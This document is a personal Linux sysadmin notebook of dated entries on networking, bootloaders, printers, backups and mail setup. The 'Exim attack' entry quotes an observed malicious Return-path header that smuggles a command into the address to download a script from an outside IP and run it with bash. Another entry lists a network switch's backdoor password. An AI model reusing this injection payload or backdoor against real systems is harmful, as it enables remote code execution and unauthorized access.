http://mailman.egr.msu.edu/mailman/public/linux-user/2012-July/017205.html Entry: Simple services Date: Tue Jul 31 16:22:35 EDT 2012 I have one untrusted host that needs add hoc services from a trusted one, but I do not want to provide a generic login from untrusted -> trusted, so I'd like to use a single ssh key to allow untrusted host to run a limited number of non-parameterized scripts. How safe is this? I guess if the scripts are non-parameterized, the opportunity for introducing loopholes is greatly reduced. Instead of doing this through root ssh, it might be simpler to create a separate login and use setuid root or sudo. It seems that of all these options, ssh is safest if the dispatching can be limited. Entry: Adding text to image Date: Tue Aug 21 14:52:21 EDT 2012 mogrify -fill black -pointsize 20 -annotate +20+30 5.1.vet_bill_1.png 5.1.vet_bill_1.png convert *.png book.mng convert book.mng book.pdf pdfcrop --margins 10 all.pdf all_crop.pdf montage balloon.gif medical.gif present.gif shading.gif \ -mode Concatenate -tile x1 montage_cat.jpg montage *.gif -mode Concatenate -tile 1x montage.png Entry: AT GSM Date: Sun Aug 26 17:31:52 BST 2012 AT+CREG? +CME ERROR: 11 -> pin code required AT+CPIN=1234 Entry: courier imap problems Date: Sun Sep 2 14:38:42 CEST 2012 Disconnect after login for user1 Administrator@pol ~ $ nc mail.i 143 * OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION] Courier-IMAP ready. Copyright 1998-2011 Double Precision, Inc. See COPYING for distribution information. ? login <user> <pass> -> disconnect If password is wrong I get an error message. ? NO Login failed. user2 everything works fine. This suggests to replace gamin with fam: http://ubuntuforums.org/showthread.php?s=fba71f803c489876a75fb08df822a930&p=11856138 https://bugs.launchpad.net/ubuntu/+source/courier/+bug/890756 After "apt-get install fam" everything seemed to work fine. Entry: Privoxy slow Date: Mon Sep 10 16:37:45 CEST 2012 Had this before. Something with chrome itself.. --enable-sdch="nothing" It's there so something else.. Trying upgrade first: Preparing to replace privoxy 3.0.19-1 (using .../privoxy_3.0.19-2_amd64.deb) ... Doesn't change anything. Problem is ipv6. Shutting down aiccu makes the problem go away. Looks like ipv6 firewall is not set up correctly. IPTABLES6="/sbin/ip6tables" # IPv6: just ping for now WORLD_6=2001:6f8:202:569::/62 $IPTABLES6 -A INPUT -s ::/0 -d $WORLD_6 -p icmpv6 --icmpv6-type echo-request -m state --state NEW -j ACCEPT $IPTABLES6 -A INPUT -j DROP Added rules for established/related. That fixed it. Entry: ipv6 access Date: Mon Sep 10 17:38:40 CEST 2012 6->4 tunnel. I have 2 access points, both have a /64 subnet routed to different physical locations (BE + US). There's also a /48 subnet that can be used for "real" subnetting that's routed to one of the locations. For now it seems best to map the /64 to internal network IP addresses in the 10.* 192.168.* ranges. The same approach for both "access points". Problem with encapsulation is that the return addresses need to be stored somewhere, so this is always stateful. Long term solution is to do dual stack: run IPv6 on each machine. Some info on NAT-PT[2]. Looks like this one is routed to BE site 2001:6f8:202:8569::/64 ( Trying ping from other IPv6 host. ) [1] http://www.zdnet.com/blog/networking/five-ways-for-ipv6-and-ipv4-to-peacefully-co-exist/244 [2] http://tomicki.net/ipv6.router.php Entry: ipv6 probs Date: Tue Sep 11 12:03:35 CEST 2012 Worked yesterday, not this morning. On sixxs subnet was disabled, but i don't remember which one.. After enable + restart aiccu a couple of times it works again. Let's see if it's stable from here. Maybe restart ppp to test? Entry: nat64 tayga Date: Tue Sep 11 17:48:29 CEST 2012 After setting up minimals, this works on internal net: ping6 2001:6f8:202:8569::192.168.13.46 Next is to make this work from outside.. This was missing: sysctl -w net.ipv6.conf.all.forwarding=1 Next: firewall stuff Entry: Only root can unmount Date: Mon Sep 17 15:30:35 CEST 2012 See bug[1]. The mount is registered by root not by user. Workaround: use "users" instead of "user". [1] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=660431 Entry: Setting up grub Date: Mon Sep 17 15:52:43 CEST 2012 Yeah grub2 is too complex... Anway, all I need to change is the default boot item, so after something has changed, do this and fill the correct GRUB_DEFAULT item in /etc/default/grub cat /boot/grub/grub.cfg |grep menuentry|less -N and subtract one since less starts at 1 and grub2 at 0. Entry: dm-tool Date: Mon Sep 17 16:15:36 CEST 2012 dm-tool switch-to-greeter dm-tool switch-to-user <USER> Entry: Bacula Date: Tue Sep 18 12:10:03 CEST 2012 Time for some organized backups. It looks like Bacula[2] will solve at least the following problems: - Incremental + multiple versions (<-> rsync current copy) - Multiple archs: Linux, OSX, Windows - Flexible config (periodic, when on, ...) Though there are some voices that it may be too complex and brittle[1]. I'm thinking that I'm probably going to stick with rsync + hard link backups. Started here[3]. To do multiple archs it should be possible to use rsync on cygwin and OSX. I don't care about full system backups, just data and config files. If something crashes hard it's probably best to replace the whole machine and rebuild it manually. [1] http://www.tolaris.com/2009/10/08/replacing-bacula-with-backuppc/ [2] http://www.bacula.org/en/ [3] http://zwizwa.be/darcs/pool/bin/backup_inc Entry: Comcast / AT&T / ACD Date: Tue Sep 18 20:44:47 CEST 2012 $19.99 per month for the first 6 months Offer ends 9/21/12, and is limited to new XFINITY Internet residential customers. Not all services and features available in all areas. Offer limited to Performance Internet service to a single outlet and requires subscription to either XFINITY Digital TV or Voice service at regular rates. After first 6 months, monthly service charge goes to $34.99 for months 7-12. After 12 months, or if any service is cancelled or downgraded, regular charges apply. Comcast’s current monthly service charge for Performance ranges from $42.95 to $62.95, and may vary depending on your area and other Comcast services subscribed to, (if any). Equipment, installation and taxes extra. May not be combined with other offers. PowerBoost provides bursts of download and upload speeds for the first 10 MB and 5 MB of a file, respectively. Actual speeds vary and are not guaranteed. PC Mag 2011 rating of XFINITY as one of the three fastest providers based on customer data from speedtest.net. Not all features, including Constant Guard™ Protection Suite, are available with Macintosh systems. 30-Day Money-Back Guarantee applies to one month’s recurring service charge and standard installation up to $500. Call for restrictions and complete details. © 2012 Comcast. All rights reserved. Norton is a trademark of Symantec Corporation. CONSTANT GUARD™ and associated logos are trademarks or federally registered trademarks of Comcast Corporation. A trademark of Ziff Davis, Inc. Used under license. © 2012 Ziff Davis, Inc. All Rights Reserved. AT&T $48 final price excluding router/wifi for 6MBit. ACD.NET? A little cheaper but only adsl2+ which won't work for us.. $49.95 final price for 6MBit. All seem to be in the same range: about $50/month. Comcast is not very stable speed-wise, so maybe best to move to a different provider. Entry: OBi Date: Thu Sep 27 13:40:23 EDT 2012 from http://twit.tv/show/know-how/11 -> http://www.obihai.com/googlevoice.html The OBi acts as a SIP to Google Voice gateway. http://www.adrianandgenese.com/blogger/tag/ooma/ porting number: http://support.google.com/voice/bin/answer.py?hl=en&answer=1065667 http://www.obihai.com/porttutorial.html voipo http://forums.voipo.com/showthread.php/2647-Porting-From-Comcast Entry: Migration plan Date: Thu Sep 27 14:16:24 EDT 2012 In case we can't keep the old phone number, make sure that we're already reachable using a free SIP phone number from ipkall. It seems that for now the best option is to keep the landline and transfer the whole thing to ACD or AT&T. Basically, set up the SPA3102. EDIT: Comcast got upgraded to 20mbit. When did that happen? Entry: Acer aspire one: shuts off after 60 seconds Date: Mon Oct 1 18:54:25 EDT 2012 Same behaviour booting normally and with grub or F2 setup screen just sitting. Tried to disassemble but decided to put it back together since I'm not too brave about finickey things like that, now it seems to work again. I noticed the fan kicking in so maybe that was it? Assuming that it booted without some power save active and CPU gets too hot without fan running. Unplugging the battery for a while might have reset some setting? Entry: HL2240 Date: Mon Oct 8 16:15:15 EDT 2012 I've had nothing but trouble with the Brother drivers, so let's try an open source one: https://bbs.archlinux.org/viewtopic.php?id=117293 "I finally got my Brother HL-2240 to work. I have to install all the foomatic packages and hplip, then choose "Brother HL-2140 Foomatic/hpijs-pcl5e" driver." After setting it on economy/ink saving it seems to work well. Entry: List of ppm to mov Date: Tue Oct 16 16:10:24 EDT 2012 Use ppm2png to limit the storage space a bit. Maybe it's best to convert it to jpeg actually.. I've been running it like this, periodically taking finished frames from a directory and using a parallel make to do the encoding: while sleep 1; do mv ../*.ppm . ; make -j6 -f ~/pool/mk/ppm2png.mk ; rm *.ppm; done From [1]: ffmpeg -r 2 -vsync 1 -qscale 5 -f image2 -i progress_%02d.png -vcodec copy progression.mov ffmpeg -r 60 -vsync 1 -qscale 5 -f image2 -i frame%06d.png -vcodec mjpeg movie.mov frame023201.png Almost right. I've got some 1 bit pngs which are not properly converted to mov, so need to convert them first to 24bit or somehow force conversion in ffmpeg. [1] http://mbudisic.wordpress.com/2011/01/21/converting-a-sequence-of-pngs-to-a-quicktime-movie/ [2] http://zwizwa.be/darcs/pool/mk/ppm2png.mk [3] http://osdir.com/ml/video.ffmpeg.user/2005-03/msg00085.html Entry: Baystack 310-24T password recovery Date: Sat Nov 3 15:49:46 EDT 2012 It has a backdoor password: tEmpEst_sAvEr 9600,N,1 - It's a DCE port, which means a straight cable (not a null modem cable). Quick setup for VLAN: - Configure 25 as interswitch port (4) - Create VLANs containing the desired ports (1) Port VLAN Configuration 1 ---Create/Modify VLAN 2 ---Delete VLAN 3 ---Display VLAN 4 ---Add InterSwitch Port 5 ---Delete InterSwitch Port 6 ---Display InterSwitch Port 7 ---Configure CPU VLAN [1] 8 ---Configure InterSwitch Port VLAN 9 ---Display InterSwitch Port VLAN 0 ---Reset All Ports to default VLAN [1] http://modernduck.com/2005/06/baystack-310-24t-password-recovery/ Entry: Updating X11 Date: Sat Nov 10 10:36:39 EST 2012 I'm having trouble. Sometimes windows do not appear when using: mplayer -vo gl2|gl|vo So, horror, here we go again.. ii xserver-xorg 1:7.5+8 the X.Org X server ii xserver-xorg-vid 6.8.1-3 X.Org X server -- ATI r128 display driver ii xserver-xorg-vid 1:6.13.1-2+squee X.Org X server -- AMD/ATI Radeon display driver ii xserver-xorg-vid 1.3.0-3 X.Org X server -- AMD/ATI r5xx-r7xx alternate di The driver that's actually running is: Opgrade: xserver-xorg: 1:7.5+8 -> 1:7.7+1 xserver-xorg-vdieo-r128 6.8.1-3 -> 6.8.2-1 xserver-xorg-vdieo-radeon(hd) 1:6.13.1-2+squeeze -> 6.14.4-5 tom@zoo:~$ sudo apt-get install xserver-xorg Reading package lists... Done Building dependency tree Reading state information... Done The following packages were automatically installed and are no longer required: libevolution libgtksourceview-3.0-0 gir1.2-clutter-gst-1.0 libgtkhtml-4.0-common libgtkhtml-4.0-0 libgtkhtml-editor-4.0-0 libchamplain-0.12-0 gir1.2-gtksource-3.0 libgtksourceview-3.0-common gir1.2-gst-plugins-base-0.10 gir1.2-evince-3.0 libchamplain-gtk-0.12-0 gir1.2-gtkclutter-1.0 Use 'apt-get autoremove' to remove them. The following extra packages will be installed: libdrm-intel1 libdrm-nouveau1a libdrm-radeon1 libdrm2 libgl1-mesa-dri libmtdev1 libpciaccess0 xserver-common xserver-xorg-core xserver-xorg-input-evdev xserver-xorg-input-synaptics xserver-xorg-input-wacom xserver-xorg-video-ati xserver-xorg-video-mach64 xserver-xorg-video-r128 xserver-xorg-video-radeon Suggested packages: libglide3 gpointing-device-settings touchfreeze firmware-linux The following packages will be REMOVED: xserver-xorg-video-radeonhd The following NEW packages will be installed: libdrm-nouveau1a libmtdev1 The following packages will be upgraded: libdrm-intel1 libdrm-radeon1 libdrm2 libgl1-mesa-dri libpciaccess0 xserver-common xserver-xorg xserver-xorg-core xserver-xorg-input-evdev xserver-xorg-input-synaptics xserver-xorg-input-wacom xserver-xorg-video-ati xserver-xorg-video-mach64 xserver-xorg-video-r128 xserver-xorg-video-radeon 15 upgraded, 2 newly installed, 1 to remove and 1961 not upgraded. Need to get 28.8 MB of archives. After this operation, 51.9 MB of additional disk space will be used. Do you want to continue [Y/n]? y Get:1 http://ftp.egr.msu.edu/debian/ wheezy/main libdrm2 amd64 2.4.33-3 [444 kB] Get:2 http://ftp.egr.msu.edu/debian/ wheezy/main libpciaccess0 amd64 0.13.1-2 [46.7 kB] Get:3 http://ftp.egr.msu.edu/debian/ wheezy/main libdrm-intel1 amd64 2.4.33-3 [478 kB] Get:4 http://ftp.egr.msu.edu/debian/ wheezy/main libdrm-nouveau1a amd64 2.4.33-3 [433 kB] Get:5 http://ftp.egr.msu.edu/debian/ wheezy/main libdrm-radeon1 amd64 2.4.33-3 [440 kB] Get:6 http://ftp.egr.msu.edu/debian/ wheezy/main libmtdev1 amd64 1.1.2-1 [22.6 kB] Get:7 http://ftp.egr.msu.edu/debian/ wheezy/main xserver-xorg-input-synaptics amd64 1.6.2-2 [208 kB] Get:8 http://ftp.egr.msu.edu/debian/ wheezy/main xserver-xorg-input-evdev amd64 1:2.7.0-1+b1 [104 kB] Get:9 http://ftp.egr.msu.edu/debian/ wheezy/main xserver-xorg-input-wacom amd64 0.15.0+20120515-2 [93.7 kB] Get:10 http://ftp.egr.msu.edu/debian/ wheezy/main xserver-xorg-video-r128 amd64 6.8.2-1 [183 kB] Get:11 http://ftp.egr.msu.edu/debian/ wheezy/main xserver-xorg-video-mach64 amd64 6.9.1-2 [216 kB] Get:12 http://ftp.egr.msu.edu/debian/ wheezy/main xserver-xorg-video-radeon amd64 1:6.14.4-5 [724 kB] Get:13 http://ftp.egr.msu.edu/debian/ sid/main xserver-xorg-core amd64 2:1.12.4-3 [1,761 kB] Get:14 http://ftp.egr.msu.edu/debian/ sid/main libgl1-mesa-dri amd64 8.0.5-1 [21.8 MB] Get:15 http://ftp.egr.msu.edu/debian/ wheezy/main xserver-xorg amd64 1:7.7+1 [113 kB] Get:16 http://ftp.egr.msu.edu/debian/ wheezy/main xserver-xorg-video-ati amd64 1:6.14.4-5 [275 kB] Get:17 http://ftp.egr.msu.edu/debian/ sid/main xserver-common all 2:1.12.4-3 [1,396 kB] Fetched 28.8 MB in 12s (2,299 kB/s) debconf: unable to initialize frontend: Dialog debconf: (Dialog frontend will not work on a dumb terminal, an emacs shell buffer, or without a controlling terminal.) debconf: falling back to frontend: Readline (Reading database ... 404784 files and directories currently installed.) Removing xserver-xorg-video-radeonhd ... Processing triggers for man-db ... debconf: unable to initialize frontend: Dialog debconf: (Dialog frontend will not work on a dumb terminal, an emacs shell buffer, or without a controlling terminal.) debconf: falling back to frontend: Readline (Reading database ... 404774 files and directories currently installed.) Preparing to replace libdrm2 2.4.21-1~squeeze3 (using .../libdrm2_2.4.33-3_amd64.deb) ... Unpacking replacement libdrm2 ... Preparing to replace libpciaccess0 0.12.0-1 (using .../libpciaccess0_0.13.1-2_amd64.deb) ... Unpacking replacement libpciaccess0 ... Preparing to replace libdrm-intel1 2.4.21-1~squeeze3 (using .../libdrm-intel1_2.4.33-3_amd64.deb) ... Unpacking replacement libdrm-intel1 ... Selecting previously deselected package libdrm-nouveau1a. Unpacking libdrm-nouveau1a (from .../libdrm-nouveau1a_2.4.33-3_amd64.deb) ... Preparing to replace libdrm-radeon1 2.4.21-1~squeeze3 (using .../libdrm-radeon1_2.4.33-3_amd64.deb) ... Unpacking replacement libdrm-radeon1 ... Selecting previously deselected package libmtdev1. Unpacking libmtdev1 (from .../libmtdev1_1.1.2-1_amd64.deb) ... Preparing to replace xserver-xorg-input-synaptics 1.2.2-2 (using .../xserver-xorg-input-synaptics_1.6.2-2_amd64.deb) ... Unpacking replacement xserver-xorg-input-synaptics ... Preparing to replace xserver-xorg-input-evdev 1:2.3.2-6 (using .../xserver-xorg-input-evdev_1%3a2.7.0-1+b1_amd64.deb) ... Unpacking replacement xserver-xorg-input-evdev ... Preparing to replace xserver-xorg-input-wacom 0.10.5+20100416-1 (using .../xserver-xorg-input-wacom_0.15.0+20120515-2_amd64.deb) ... Unpacking replacement xserver-xorg-input-wacom ... Preparing to replace xserver-xorg-video-r128 6.8.1-3 (using .../xserver-xorg-video-r128_6.8.2-1_amd64.deb) ... Unpacking replacement xserver-xorg-video-r128 ... Preparing to replace xserver-xorg-video-mach64 6.8.2-3 (using .../xserver-xorg-video-mach64_6.9.1-2_amd64.deb) ... Unpacking replacement xserver-xorg-video-mach64 ... Preparing to replace xserver-xorg-video-radeon 1:6.13.1-2+squeeze1 (using .../xserver-xorg-video-radeon_1%3a6.14.4-5_amd64.deb) ... Unpacking replacement xserver-xorg-video-radeon ... dpkg: considering deconfiguration of libgl1-mesa-dri, which would be broken by installation of xserver-xorg-core ... dpkg: yes, will deconfigure libgl1-mesa-dri (broken by xserver-xorg-core). Preparing to replace xserver-xorg-core 2:1.7.7-8 (using .../xserver-xorg-core_2%3a1.12.4-3_amd64.deb) ... De-configuring libgl1-mesa-dri ... Unpacking replacement xserver-xorg-core ... Preparing to replace libgl1-mesa-dri 7.7.1-4 (using .../libgl1-mesa-dri_8.0.5-1_amd64.deb) ... Unpacking replacement libgl1-mesa-dri ... Preparing to replace xserver-xorg 1:7.5+8 (using .../xserver-xorg_1%3a7.7+1_amd64.deb) ... debconf: unable to initialize frontend: Dialog debconf: (Dialog frontend will not work on a dumb terminal, an emacs shell buffer, or without a controlling terminal.) debconf: falling back to frontend: Readline Unpacking replacement xserver-xorg ... Preparing to replace xserver-xorg-video-ati 1:6.12.2-2 (using .../xserver-xorg-video-ati_1%3a6.14.4-5_amd64.deb) ... Unpacking replacement xserver-xorg-video-ati ... Preparing to replace xserver-common 2:1.11.3.901-2 (using .../xserver-common_2%3a1.12.4-3_all.deb) ... Unpacking replacement xserver-common ... Processing triggers for man-db ... debconf: unable to initialize frontend: Dialog debconf: (Dialog frontend will not work on a dumb terminal, an emacs shell buffer, or without a controlling terminal.) debconf: falling back to frontend: Readline Setting up libdrm2 (2.4.33-3) ... Setting up libpciaccess0 (0.13.1-2) ... Setting up libdrm-intel1 (2.4.33-3) ... Setting up libdrm-nouveau1a (2.4.33-3) ... Setting up libdrm-radeon1 (2.4.33-3) ... Setting up libmtdev1 (1.1.2-1) ... Setting up xserver-common (2:1.12.4-3) ... Setting up xserver-xorg-core (2:1.12.4-3) ... Setting up xserver-xorg-input-synaptics (1.6.2-2) ... Setting up xserver-xorg-input-evdev (1:2.7.0-1+b1) ... Setting up xserver-xorg-input-wacom (0.15.0+20120515-2) ... Setting up xserver-xorg-video-r128 (6.8.2-1) ... Setting up xserver-xorg-video-mach64 (6.9.1-2) ... Setting up xserver-xorg-video-radeon (1:6.14.4-5) ... Setting up libgl1-mesa-dri (8.0.5-1) ... Setting up xserver-xorg-video-ati (1:6.14.4-5) ... Setting up xserver-xorg (1:7.7+1) ... debconf: unable to initialize frontend: Dialog debconf: (Dialog frontend will not work on a dumb terminal, an emacs shell buffer, or without a controlling terminal.) debconf: falling back to frontend: Readline tom@zoo:~$ Entry: Convert to darcs-2 Date: Fri Dec 7 09:23:11 EST 2012 darcs convert <old> <new> Converting a large repo to darcs-2 I get: - a lot of "lossy conversion of complicated conflict" - a warning at the end: Warning: CRC errors found. These are probably harmless but should be repaired. See 'darcs gzcrcs --help' for more information. I tried this, but didn't show anything wrong. tom@zoo:~/admin$ io darcs gzcrcs --check Entry: Trouble on linux 3.2? Date: Mon Dec 10 15:07:25 EST 2012 I've heard that there are "problems" with linux 3.2 on the uvcvideo mailing list. Not sure if that was only for UVC but I'm definitely experiencing some issues here and there. I.e. what's this about? [969112.125499] AMD64 EDAC driver v3.4.0 [969112.126582] EDAC amd64: DRAM ECC disabled. [969112.126607] EDAC amd64: ECC disabled in the BIOS or no ECC capability, module will not load. [969112.126614] Either enable ECC checking or force module loading by setting 'ecc_enable_override'. [969112.126621] (Note that use of the override may cause unknown side effects.) Entry: Nut and CyberPower 900AVR Date: Mon Dec 10 15:09:35 EST 2012 In /etc/nut/ups.conf I have: [900avr] driver = cyberpower port = /dev/ttyUPS desc = "CyberPower 900AVR" How to install on debian? There is nut, nut-server, nut-client, nut-hal-drivers... What shall it be? apt-get install nut Setting up nut-client (2.6.4-2.1) ... nut-client disabled, please adjust the configuration to your needs. Then set MODE to a suitable value in /etc/nut/nut.conf to enable it. Setting up nut-server (2.6.4-2.1) ... nut-server disabled, please adjust the configuration to your needs. Then set MODE to a suitable value in /etc/nut/nut.conf to enable it. Trouble seems to be here: zoo:/etc/nut# zoo:/etc/nut# upsdrvctl start Network UPS Tools - UPS driver controller 2.6.4 Can't start /lib/nut/cyberpower: No such file or directory Ok, I don't see where I got the "driver = cyberpower" from, but after visiting the website[1] I found a working configuration: [900avr] driver = genericups upstype = 7 port = /dev/ttyUPS desc = "Generic UPS" But then... all docs I find online ar outdated. Looks like this is fairly complicated, and the Default in debian doesn't work out-of-the-box. nut so easy.. Let's see what happens when I pull the plug. Nothing in syslog. Yeah this requires a manual reading session.. [1] http://www.networkupstools.org/stable-hcl.html Entry: Git as backup Date: Tue Dec 11 12:39:12 EST 2012 [1] http://stackoverflow.com/questions/2576198/git-as-a-backup-and-version-control-system [2] https://github.com/apenwarr/bup [3] http://stackoverflow.com/questions/3167406/how-do-you-deal-with-file-ownership-in-git Entry: Acer One crashing Date: Sun Dec 2 22:24:47 EST 2012 Same as before, crashes after 1-2 minutes. Leaving battery out didn't help. Last time I "fixed" it by taking it half apart and putting it back again. Current guess is that the fan gets stuck causing a thermal safety to trip. I gave it a slap and then it started (I think, can't see any other reason). Entry: debian multiarch Date: Fri Dec 14 13:38:14 EST 2012 moving to debian multiarch[1] problems: - Brother's HL2240 no longer works: using this driver instead: MakeModel Brother HL-2140 Foomatic/hpijs-pcl5e (recommended) - plexmediaserver [1] http://wiki.debian.org/Multiarch Entry: t-mobile PPP/DNS working on prepayed card? Date: Tue Dec 18 13:09:44 EST 2012 DNS/PPP seems to work, but the TCP connection doesn't come through. Entry: [1]+ Stopped Date: Mon Dec 24 11:06:56 EST 2012 I've been running some (convoluted) scripts that spawn processes and suddenly receive STOP signals. This has something to do with writing to a terminal that is not properly connected? What was this? [1] I don't understand... Sometimes a subprocess is allowed to write to the terminal, but other times it is not (and is STOPped). [1] entry://../c/20120920-000242 Entry: zni upgrade Date: Mon Jan 14 20:48:03 CET 2013 tom@zni:~$ uptime 20:47:42 up 210 days, 5:39, 3 users, load average: 1.20, 0.50, 0.23 tom@zni:~$ cat /proc/version Linux version 2.6.33.7-rt29 (tom@zni) (gcc version 4.4.6 (Debian 4.4.6-7) ) #3 SMP PREEMPT RT Mon Aug 22 11:25:41 CEST 2011 After upgrade it doesn't boot: the /dev/mapper/vg1-root path triggers "kernel panic - not syncing: VFS: unable to mount" I'm guessing this is because fstab doesn't use UUIDs Check these with blkid Still have trouble booting.. something with udev isn't right. The initrd doesn't have /dev/mapper and in /dev/disk/by-uuid there is only the non-mapper disk. Updated udev initramfs-tools console-setup Entry: zni lvm borked Date: Mon Jan 14 20:09:16 EST 2013 It's got root on lvm on a critical machine which is stupid. After upgrading, lvmscan reports "No volume groups found". Which might be just a glitch, but if it doesn't come back up after boot I'm screwed, so I'm backing up the system, and copied the root to an external USB disk which might be used to boot from. Plan: - complete backups - try to boot the USB disk on laptop - if that works, try to reboot zni - if that doesn't work, try to boot from USB + restore (removing LVM stuff) - if that doesn't work, reconfigure network + reinstall zni It seems to be booting correctly. Maybe leave things as they are for no? mkdir /dev /sys /proc /run + edit /etc/fstab with new root dir Now it boots. Waiting for fsck :) Ok, copying back the data. Will take the rest of the night.. Entry: Resizing XP QEMU VM Date: Wed Jan 16 20:37:09 CET 2013 Change qemu image size by adding empty space with seek option. # dd if=/dev/zero of=xp.img seek=12000 obs=1MB count=0 Use the EaseUs Partition Master Home Edition[1] inside XP to resize the system partition. [1] http://www.partition-tool.com/personal.htm Entry: Brother Printer MFCJ425W Wireless Color Photo Printer with Scanner, Copier and Fax Date: Mon Mar 18 17:02:24 EDT 2013 tom@zoo:~$ sudo nmap brw0080929exxxx.i Starting Nmap 4.68 ( http://nmap.org ) at 2013-03-18 17:00 EDT Interesting ports on BRW0080929Exxxx.i (192.168.7.165): Not shown: 1708 closed ports PORT STATE SERVICE 21/tcp open ftp 23/tcp open telnet 80/tcp open http 443/tcp open https 515/tcp open printer 631/tcp open ipp 9100/tcp open jetdirect MAC Address: 00:80:92:9E:xx:xx (Silex Technology) Nmap done: 1 IP address (1 host up) scanned in 5.781 seconds Entry: Fixing Ubuntu triple boot after upgrade Date: Wed Apr 24 11:49:43 EDT 2013 Computer has a convoluted boot setup: - sda1 VFAT compaq rescue partition with DOS grub installed - sda2 NTFS XP - sda5 Ubuntu - sda6 Debian Reason? PC has trouble Ubuntu / Debian GRUB directly from USB The point is to boot from the VFAT and chainload into the debian bootloader, which can boot Ubuntu. However, Ubuntu will override the MBR, so to fix, boot from GRUB 0.97 on USB disk into Debian (or Ubuntu) and fix the MBR. - make a bootable grub 0.97 USB disk cp stage1 stage2 to /boot/grub/ use a device map file "(hd0) /dev/sdk" with grub --device-map=<file> at grub> do root (hd0,0) setup (hd0) - boot the USB disk (BIOS: ESC = boot menu) - then start Debian manually at grub> root (hd1,5) chainloader +1 boot or use "root (hd1,6)" to boot Ubuntu. - VFAT grub boot from MBR mount the VFAT and copy /boot/grub.elf to /tmp, chmod it and execute it. then do the same thing as for preparing the USB drive. with device-map "(hd0) /dev/sda", at grub> do root (hd0,0) setup (hd0) Entry: Grub 0.97 failsafe Date: Wed Apr 24 12:13:00 EDT 2013 Basic problem: how to keep a copy of grub 0.97 independent of system? Grub2 is too complex. For failsafe, it's best to keep 0.97 around. To avoid conflict with automatic stuff, best to just download it and build it from source. EDIT: Just copy the binary from somewhere, it's statically linked. Entry: ssh disable host check Date: Thu May 2 12:11:25 EDT 2013 ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking Entry: Exim attack Date: Sat May 4 14:58:50 EDT 2013 Return-path: <red`wget${IFS}178.218.211.118/a${IFS}-O${IFS}/tmp/a.pl``bash${IFS}/tmp/a.pl`team@example.com> [1] https://www.redteam-pentesting.de/de/advisories/rt-sa-2013-001/-exim-with-dovecot-typical-misconfiguration-leads-to-remote-command-execution Entry: Darcs upgrade Date: Thu May 23 09:18:09 EDT 2013 for i in *; do (cd $i ; darcs optimize --upgrade); done Entry: Forget apache2-suexec-suexec: use libapache2-mod-suphp Date: Sat Jun 22 20:56:54 EDT 2013 Don't add the "SuexecUserGroup" in apache config. I never got this to work.. Install suphp and just make all php files under /home to use the user's privileges. Entry: ucspi-tcp 0.88 TLS problem Date: Mon Jun 24 12:35:41 EDT 2013 `errno' is a TLS variable. ucspi-tcp-0.88.tar.gz error.h: +#if 1 +#include <errno.h> +#else extern int errno; +#endif Entry: Securing a chroot env? Date: Sat Jun 29 12:07:36 EDT 2013 Main idea is to prevent privilege escalation: once root, it's possible to escape the chroot. * Disable all passwords in /etc/shadow * Remove setuid binaries? $ find -perm +6000 -type f -ls * remove software that is not necessary Hmm... reading a bit it seems that it's quite a lot of work to patch known vectors, and then still. Maybe best to switch to something else? Entry: How did my chromebook know my Amazon password? Date: Tue Jul 2 17:12:23 EDT 2013 Looks like chrome is placing passwords on the Google servers. Entry: Compiling DK38T driver Date: Thu Jul 4 01:21:08 EDT 2013 http://lazybit.com/index.php/2009/08/14/dekart-sim-card-reader-drivers-for-linux wget http://dl.dropbox.com/u/3258602/DKbeta/driver/driver.tar tar xf driver.tar tar xf dk38t-1.7.9.tar.gz cd dk38t-1.7.9 libtoolize --force --copy; aclocal; autoconf; automake; make or apt-get install automake1.9 dpkg-buildpackage But... driver doesn't work for me. Device broken? I opened it up and might have poked something with a knife.. The 'dpkg-buildpackage -b' doesn't work due to missing "make install" target. I was able to just build it manually from dk38t-1.7.9/build-tree/DK38T_LINUX_100709_P and copy the libDK38TUDriver.so and *RENAME* it to DK38TUDriver.so in the pcsc/drivers dir. Entry: Debian on Chromebook Date: Sun Jul 14 12:44:48 EDT 2013 http://wiki.debian.org/InstallingDebianOn/Samsung/ARMChromebook Backed up stick to /backup/cb.debian.img dah there is an image avalable also: http://dme.org/data/debian/debian-chromebook.20130625.img.gz Next time do this on a zeroed-out stick to allow compression! So looks like it basically works, just a lot of driver trouble. Maybe not worth the effort at this point.. Probably better to figure out how to properly use it as an X terminal. Entry: Allow KVM to pick up printer Date: Sun Jul 14 16:17:42 EDT 2013 # on host: don't load usblp driver # /etc/moprobe_d/cups.conf : blacklist usblp Entry: Creating KVM FreeDOS image Date: Sun Jul 28 21:50:14 EDT 2013 # kvm <opts> -cdrom fd11src.iso -boot order=dc Boot order is necessary to prevent booting from a non-formatted C drive. Entry: Spam-tagged by email after forwarding spam messages Date: Thu Aug 1 10:46:40 EDT 2013 Looks like my domain got somehow tagged in the Gmail spam filters because I was forwarding incoming spam messages to a gmail address. Following Best practices for forwarding mail to Gmail [13]. Looks like I need to set up: - SPF records - DKIM - Spam tagging 1. Run Spamassassin inside Exim ; add [SPAM] Subject tag. Followed [9] almost verbatim. Adding the "[SPAM]" tag is a suggenstion from the Gmail Bulk Sender Guidelines [3]. It seems at least it no longer bounces. Some more tweaks [14]: set outright reject for scores over 70. # cat /var/log/exim4/mainlog | grep rejected 2013-08-01 19:08:33 1V4wMZ-0002pf-3r H=localhost (gandalf) [127.0.0.1] F=<merlin@gandalf> rejected after DATA: This message scored 4.9 spam points. 2. SPF record in tinydns Following Gmail advice on SPF[4][11], using a tinydns record builder[10]. This allows A and MX records from the domain, and the gmail servers. # SPF 'zwizwa.be:v=spf1\040a\040mx\040~all:60 Check record using mxtoolbox[12] 3. DKIM TODO [7] [15] remote_smtp: debug_print = "T: remote_smtp for $local_part@$domain" driver = smtp dkim_domain = zwizwa.be dkim_selector = dkim dkim_private_key = /etc/exim4/dkim.private.key dkim_canon = relaxed # openssl genrsa -out dkim.private.key 2048 # openssl rsa -in dkim.private.key -out dkim.public.key -pubout -outform PEM # DKIM '_domainkey.zwizwa.be:t=y;o=~;:60 